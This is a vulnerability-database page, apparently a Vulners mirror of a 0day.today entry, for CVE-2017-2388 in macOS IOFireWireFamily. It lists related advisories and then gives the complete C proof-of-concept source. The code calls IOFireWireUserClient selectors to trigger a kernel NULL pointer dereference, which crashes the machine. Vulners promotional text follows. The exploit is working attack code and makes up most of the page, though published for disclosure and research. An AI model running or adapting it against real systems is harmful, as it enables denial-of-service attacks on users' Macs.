| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Mac OS X 10.x < 10.12.4 Multiple Vulnerabilities | 31 Mar 201700:00 | – | nessus | |
| macOS 10.12.x < 10.12.4 Multiple Vulnerabilities (httpoxy) | 31 Mar 201700:00 | – | nessus | |
| About the security content of macOS Sierra 10.12.4, Security Update 2017-001 El Capitan, and Security Update 2017-001 Yosemite | 27 Mar 201700:00 | – | apple | |
| About the security content of macOS Sierra 10.12.4, Security Update 2017-001 El Capitan, and Security Update 2017-001 Yosemite - Apple Support | 29 Aug 201702:52 | – | apple | |
| The vulnerability of the Mac OS X operating system, which allows a hacker to trigger a service failure | 20 Apr 201700:00 | – | bdu_fstec | |
| Apple macOS Sierra IOFireWireFamily Denial of Service Vulnerability | 6 Apr 201700:00 | – | cnvd | |
| CVE-2017-2388 | 2 Apr 201701:36 | – | cve | |
| CVE-2017-2388 | 2 Apr 201701:36 | – | cvelist | |
| EUVD-2017-11571 | 7 Oct 202500:30 | – | euvd | |
| CVE-2017-2388 | 2 Apr 201701:59 | – | nvd |
/*
* IOFireWireFamily-null-deref.c
* Brandon Azad
*
* NULL pointer dereference in IOFireWireUserClient::setAsyncRef_IsochChannelForceStop.
*
* Download: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44236.zip
*/
#include <IOKit/IOKitLib.h>
int main() {
int ret = 0;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOFireWireLocalNode"));
if (service == IO_OBJECT_NULL) {
ret = 1;
goto fail1;
}
io_connect_t connect;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
IOObjectRelease(service);
if (kr != KERN_SUCCESS) {
ret = 2;
goto fail1;
}
// isochChannel_Create
uint64_t args[3] = { 0, 0x100, 0x100 };
uint64_t handle = 0;
uint32_t output_count = 1;
kr = IOConnectCallMethod(connect, 57,
args, sizeof(args) / sizeof(*args), NULL, 0,
&handle, &output_count, NULL, NULL);
if (kr != KERN_SUCCESS) {
ret = 3;
goto fail2;
}
// setAsyncRef_IsochChannelForceStop
kr = IOConnectCallMethod(connect, 90,
&handle, 1, NULL, 0,
NULL, NULL, NULL, NULL);
if (kr != KERN_SUCCESS) {
ret = 4;
goto fail2;
}
fail2:
IOServiceClose(connect);
fail1:
return ret;
}
# 0day.today [2018-03-19] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation